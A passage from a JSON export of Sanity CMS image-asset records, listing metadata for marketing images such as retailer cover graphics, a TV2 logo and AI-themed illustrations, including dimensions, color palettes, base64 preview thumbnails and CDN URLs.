udS+TGC2RfFChd+AdwfY3KMFXeEIFvJEN9GgRPVrCuFLFaKvgjRTRwuvOPNBRwby6ja+9ht62j3BZzaKZecz255gdLzAiS4jGM1zaIm79FaKvgOhfQw68RTHfoQS3EH2ruI0CUmATxSyhmO9RQxW80RrCJcmiRc7gUm1atTlatQVc3ie06ouIxjKSv/AvK8jBTecnpcAakn8V1dxCi+ygRbbxhMp4wmUElzyF7rEIBOfwRZ6h+J/S6m1mEbexjOh748Bu/aVzlvwXmBzYQA29d1o1QdVpX0Rwy5OYukVbdIFwxxKa+fwC/K+h6HvtgM0HmlizYXPZE6k6oCdcce5KcBOhRbZwqxaSdwbJyOPWHzmgW19C9DWBFeTAioM2IwfWnUU1tIUW3cYb3UENlVCCb538BeU5abUKEynEAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36306a","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":9.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":9.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5daea","foreground":"#000","population":7.64,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#797dc5","foreground":"#fff","population":0.36,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a7198","foreground":"#fff","population":1.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2686","foreground":"#fff","population":7.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cover.png","path":"images/sczeoy4w/production/32dca7ead0a8e992b18e33cb80bb5f8a7f623776-1200x628.png","sha1hash":"32dca7ead0a8e992b18e33cb80bb5f8a7f623776","size":188204,"uploadId":"cbY8B4C3FFo3BPQf1nAfkaF24XsPxPSz","url":"https://cdn.sanity.io/images/sczeoy4w/production/32dca7ead0a8e992b18e33cb80bb5f8a7f623776-1200x628.png"} {"_createdAt":"2024-07-04T07:22:35Z","_id":"image-879a9eea3250612c1e98939895b1a6c3502bfd7c-1200x628-png","_rev":"Y6NNh6Ue45iOdNdcw92Zw7","_type":"sanity.imageAsset","_updatedAt":"2024-07-04T07:22:35Z","assetId":"879a9eea3250612c1e98939895b1a6c3502bfd7c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MUN0}7IVM|%MWB~qxZIUM{s:-;xuofWBt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACpklEQVQokR3M+08aBwDA8ftTmyVL6vpYlgbbpOsjjV3ppM0UxApVOJ4DD3kp4h0qcBzK404oD1EsTmqZFlsqGtPfvkv2+QM+Qq2yx8lxny/nQ8bjK8bfLzk+7NE76jMajbkcjRh/G/Hj5geXo+98PvnE+eCc8eU1g/4ZuVSB1VCaTqPL1dUNguXlnwTcflLRJA3d4OTjMVV1F6NQZtA/5cunE74OTrm5vubibEi73ma/3WVwdkH34B8k1zJ/Pbcgx2U+nw4RJm79jOWFGffsPOElkbA3RFiUUDdUeq0OvVqFfrvOt+EFx70+68kNIlKCaq1FtVLH/srCg1s/sWhdoFRuIlgtViR/hGgwiv2NjacPn/P2tR15LU+zWkfPKJQVhaNOl85hj3hsDZ83gFbS0Y0GksfDwrSZZV8QWc4jrCyn2N7cJbu5QziwgsO+yOKCF68rjG8piNvmxPPORXarQKN9QKmioxV3aHUOOOx+pKFXqe8WqGgF5HUF4b3DTzSSRknnUOQcmUye9NoGjlk7pnsm7k2YML+aJbm6gb5n0Gg32D9ocXjUYb/dpPPB4KhpUFJz+MUgwrTZyrs5N35PmHhsHVnJkZEzLLsWmZp8xN3bv/HaYie5tk6huE3V0Gi2DVotA72sUa9o7NfKbKfT2GfmEWZsIrY5NzarE/dSAElKkIyvInlELE9+58Evv2L+w0I0FiWXlylVsnxo7lLb09CyMiV1i5ZRoqxmiYWCCLFNnWgqj0sM897pwScGCAVDuJwOnk2amLxzh+mXU0Skv1E1haqRo94oUq1kSUSC+JYcbKbi1EoqenEbodAZUu/+i1o0WJESeF1e/KKIc36OJ49MTD1+iNP2lkQ8jFbMoO/l/w81TWFu5g33J24zM22msJWmaezwH7G9d4+In1a7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#403a40","foreground":"#fff","population":6.81,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#15476e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#817c85","foreground":"#fff","population":7.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afb6ce","foreground":"#000","population":0.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0defc","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#817c85","foreground":"#fff","population":7.81,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#59a4de","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"BackMarketB1.png","path":"images/sczeoy4w/production/879a9eea3250612c1e98939895b1a6c3502bfd7c-1200x628.png","sha1hash":"879a9eea3250612c1e98939895b1a6c3502bfd7c","size":751610,"uploadId":"Ewm1wVmhXVFAxcIBEuopUKioveh5E53f","url":"https://cdn.sanity.io/images/sczeoy4w/production/879a9eea3250612c1e98939895b1a6c3502bfd7c-1200x628.png"} {"_createdAt":"2024-06-26T14:00:17Z","_id":"image-e7a3f8b6b6429cd672b2d6e09fc8f00b7987b9fd-1200x628-png","_rev":"oOylPWK65J0ej1lvdbaOL9","_type":"sanity.imageAsset","_updatedAt":"2024-06-26T14:00:17Z","assetId":"e7a3f8b6b6429cd672b2d6e09fc8f00b7987b9fd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M27d;e-^ir8w03~nEoxrM]5D01IQ%MWJDz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACkklEQVQokT2SW08aCQCF5wd027Rd5DpcZgZmhtvIRWFE0QURUYgW7LqNsdam6q5RvFJUkJuuYi/bh33Zp/7VrylN9+k8nOTLSc4n/GKp8ejXGo/HXhJJHvBX/T/qZ1+ZnGkx5tnH4jnE6jvBKp1jVy5xBjq4tQ7RRJNSoUml1CGR7uHW2qNe+A58Yl3jqWMdNfon1T+GrG9+wUg1cUgH2OVjHMoZTv97XIEWbv2aYPycfG6bd2tbnL05ZuPVDcbUDc7ANcJT+++I/i3U6C6x9BFzxTa5xR6T2RbxqTaJTI9xs4eRHhCauEVPdMnm66wsr7Kam2VrZZWdtw2yi7e4gwOEMfcrosl9ZgtNCuUOC5U+C5UbSiv3VNY+s1z9Qn75E9niR5LZB6KpPoVSncWFIoYexIynKVfekJpr4w0/INh9GySm6hTKbcrVAcvVW5ZW7yjXPoyApRf/8FvpI9OFD8QzQ/R4n4npE+LJIh5RR1PTTJib6PFLPKEHBJt3g1j6kPzSFaWV3mjhXLHLzHyP6fkBmfzfmLk7zNyQWOYexRigRK+Q9W1E7xK+QA1/5ACP3sKl3SA8d64jadtEkvvEzWOM1Ana+DFK+AgpdIoUaiCFL5AjLaRwB1+oj54YMm7eE5m8RjUu8IV+nCVqXYRn1hpe8SUB9TVKaAefvkcocULMvEAbb+BWT7FJp/9r4wn2MMxPZOb/ZXL28+goJdpFCl/jCXYQno29QHJV0dRN5OA7vNoeMbPBdL6LkbrCq59jl0+xyQ0cyiWi2sVv3BFMDvEbPTz6FaJ6gUu9xKV1EB5bqjy31rA417GIG1jELRzyLm71AKdyiM13NBL7O/Cn2C61P0q73Bwtt0pn2OT3ONUu3wBac2t5JmSI9AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f346d","foreground":"#fff","population":1.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041466","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c0bdd6","foreground":"#000","population":7.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0bdd6","foreground":"#000","population":7.72,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7981c2","foreground":"#fff","population":0.76,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6f6f86","foreground":"#fff","population":4.49,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2584","foreground":"#fff","population":6.9,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"LaRedoute1.png","path":"images/sczeoy4w/production/e7a3f8b6b6429cd672b2d6e09fc8f00b7987b9fd-1200x628.png","sha1hash":"e7a3f8b6b6429cd672b2d6e09fc8f00b7987b9fd","size":294753,"uploadId":"lcVDhjrvbUnWaOC6cpT1fELbjEIWOf2Q","url":"https://cdn.sanity.io/images/sczeoy4w/production/e7a3f8b6b6429cd672b2d6e09fc8f00b7987b9fd-1200x628.png"} {"_createdAt":"2024-05-08T16:50:24Z","_id":"image-016bf3d3dfbf615cc175cc4a75c221f574d07452-2034x2575-png","_rev":"WsWK2eJhT0GdR6GsCTJQ9N","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T16:50:24Z","assetId":"016bf3d3dfbf615cc175cc4a75c221f574d07452","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"d01VGXo4a_Wma{Wmjujvw%juWno3SIsXN;Wma_SJSIfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7899029126213593,"height":2575,"width":2034},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAZCAYAAAAxFw7TAAAACXBIWXMAAAsTAAALEwEAmpwYAAADWUlEQVQ4jZ2VTahVdRTFf8+elklvLynaiyCCskkESUofBE6qWR9GBdFAogbVo4wQJ1ERNSxy1qSBEERFYTVxUE0qQnuKg5IyKC2o4KGGYWSa7xX7nv+596i8QQ3W3efec+46a++99v4TJB28Qvg64ReFvw58WvifQoxjjqLwX8K7g9wi8mrh6cCIBOEivED4hsAvB/mV8B9BLjaSiotqsZEvCP8uPCf8XJDXCi9vhHlekKVsm/CPIk93f+oIhyiFTWV7mU+J/Eb4+cBrhKdKnYPcGuSB6N7cFI1SPiZ8sFQHWWX4Sfh4KYxO7aLw38J7hR8RjiK8I8idMarL+O0nRR4Q3i78lPADgR8MvFXk210mI6LFpvS4yDeFb6pmvNqpGKVVb62UvxV+Qfj6IFcHrhoXLhG+JchtTe1CU1k1rtpvqaZ8XqkVYbv5W+DXg1wrclk1bYgglwtvEH6vmqdJjeeDfKce+LWKO7DEd8KPCs90BJ4qWzXCqeqk8KXCzwj/PCAs8r11s7r0g/ChlvoO4VvLBnGuup7wQuFNwvv7OgqfCPJg3XxSeHMr/maR9wpf3v35TMJG2oYg7w9y30BhNWm+HooGtbiqOb9SnQ5yRQ91cVp4ZZD3BLlL5IlyRXQp/zJ6Y6vV+Lpzva8M8rYgNwZ5d+CNge8MvC7I6vbNgV8RuSPw+yKrSW+M0xDZF79UXSP8rPAngecK3ez63cCbgkzh1cL13PrA60WuC7y21WRUlyIrm6xpHdwf5KnOm1l+q46+JnxjkOc3EfSxNYthqstEXhHk08L7RJ4czO184O1Bbghy5UAAZ6Nnro5eFuTjQe4uCzRlRXZE+K3Atwe5ql9Tk3rnmLxi/6WM+pDwp4H/7FdXWw4fCN9VRm9kIy/2mcUAfcoX1/ALf9Q2Sb/3at/tFL6v7DRwwMAVPue3+ijHf1gLczLoI19Vd58IfFWQ0UZxRuRMLAHhi0rqF8JHm6p+S5dJPwvyJeHZwLMiZzWIMf7dVfe6fizIh2nnw0K/C9saK7scrtkW/r4QSyL7WPtzTxGOt/Tk/BgP/PiAmhxSZ8MNWbN8pAhrOZ5xdvwXDA6zIjxchMdEVkcbJtcxvh7eXxJHgzxUXf5S5FyH0cz+H+wJvCvwx/8C2ABh0y+LNMAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":43.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#140424","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":43.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c0f89","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc87f1","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c0f89","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f19e5","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-tv2.png","path":"images/sczeoy4w/production/016bf3d3dfbf615cc175cc4a75c221f574d07452-2034x2575.png","sha1hash":"016bf3d3dfbf615cc175cc4a75c221f574d07452","size":21227,"uploadId":"YmmKpvdEQ1sKbH31kq3miqMsKJFONVk0","url":"https://cdn.sanity.io/images/sczeoy4w/production/016bf3d3dfbf615cc175cc4a75c221f574d07452-2034x2575.png"} {"_createdAt":"2024-09-05T20:31:46Z","_id":"image-ce3829e772af43f4fc23cd33ac1f78bb47eab8bf-1226x1394-png","_rev":"ezMiwuUkJkbYMWycA5HhK3","_type":"sanity.imageAsset","_updatedAt":"2024-09-05T20:31:46Z","assetId":"ce3829e772af43f4fc23cd33ac1f78bb47eab8bf","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDLXGNrq9]_N0000x[-VV[tm00.8?HIAxVnS?GWWIp-n4-XAM{aJ.9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8794835007173601,"height":1394,"width":1226},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#31355f","foreground":"#fff","population":0.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#181f6d","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#646695","foreground":"#fff","population":0.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccc4a8","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6ce5fa","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646695","foreground":"#fff","population":0.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#13adda","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AI architecture.png","path":"images/sczeoy4w/production/ce3829e772af43f4fc23cd33ac1f78bb47eab8bf-1226x1394.png","sha1hash":"ce3829e772af43f4fc23cd33ac1f78bb47eab8bf","size":345799,"uploadId":"eRSwK30gQYKkMOoU2gM6IiwUIH8rPJlv","url":"https://cdn.sanity.io/images/sczeoy4w/production/ce3829e772af43f4fc23cd33ac1f78bb47eab8bf-1226x1394.png"} {"_createdAt":"2024-09-11T07:11:53Z","_id":"image-c5ed53d5f871fb6885e21cfd64ccb8e5cb7263be-1080x1080-jpg","_rev":"F9BvzCOvNT3yZqjSsWczf8","_type":"sanity.imageAsset","_updatedAt":"2024-09-11T07:11:53Z","assetId":"c5ed53d5f871fb6885e21cfd64ccb8e5cb7263be","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ehMtU1?aM{%2bH~qkDkBkCog%NRjWARjWAxaadWBoMaeV@Rjt7t7fR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1080,"width":1080},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGgABAAIDAQAAAAAAAAAAAAAAAAUGAgMHCP/EACIQAAIBBAIDAAMAAAAAAAAAAAECAwAEBREGEhMhMRdBQv/EABYBAQEBAAAAAAAAAAAAAAAAAAEDAv/EABwRAAMAAQUAAAAAAAAAAAAAAAABERICAyEiMf/aAAwDAQACEQMRAD8A9GNcRRcieWSRUTwAbY6H2onNcmgxWWnne1uJ4xEBuFe26ovJPDyO2WATv5kBZ1gfZCj9Vhc3t3jrKIWCTTRpEECn2+wP6qC3Ml1KYRxmz8kYBmcySSxP2O0dCCKVx3Kcwke/mN/hFNx20x66pTGE0nUsfKIrlJVhi7sNk6+1DZTlOUs8ncGCVAG+qV9UpWHxIUSvpTL+/lvLl551iMjfSEApSlIH/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6e4a3b","foreground":"#fff","population":3.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3e310d","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c7c2ae","foreground":"#000","population":4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7c2ae","foreground":"#000","population":4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7c791","foreground":"#000","population":0.26,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#967e68","foreground":"#fff","population":1.66,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6a96b","foreground":"#000","population":0.48,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"The Savoy London.jpg","path":"images/sczeoy4w/production/c5ed53d5f871fb6885e21cfd64ccb8e5cb7263be-1080x1080.jpg","sha1hash":"c5ed53d5f871fb6885e21cfd64ccb8e5cb7263be","size":128344,"uploadId":"hbrruJVLPImTHAhCxkm4AcjMT45SNLFn","url":"https://cdn.sanity.io/images/sczeoy4w/production/c5ed53d5f871fb6885e21cfd64ccb8e5cb7263be-1080x1080.jpg"} {"_createdAt":"2024-09-13T14:07:59Z","_id":"image-af831bfa881417324dca420111cd69266b311f68-2160x2160-png","_rev":"ebFUNpMndz2LKq7K6t8SfS","_type":"sanity.imageAsset","_updatedAt":"2024-09-13T14:07:59Z","assetId":"af831bfa881417324dca420111cd69266b311f68","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKK0v#sT00-Us7{IoL0eni%100WBGHNGxZpHkCu4X8%201o#t2X8=y","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2160,"width":2160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#31365f","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#992b13","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#676d93","foreground":"#fff","population":0.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5b4ce","foreground":"#000","population":0.68,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc71","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676d93","foreground":"#fff","population":0.74,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef3c04","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Build AI Autonomous agent transparent.png","path":"images/sczeoy4w/production/af831bfa881417324dca420111cd69266b311f68-2160x2160.png","sha1hash":"af831bfa881417324dca420111cd69266b311f68","size":219349,"uploadId":"8RZ5UEsF0azQzx5LKof5j5qgSs5WA157","url":"https://cdn.sanity.io/images/sczeoy4w/production/af831bfa881417324dca420111cd69266b311f68-2160x2160.png"} 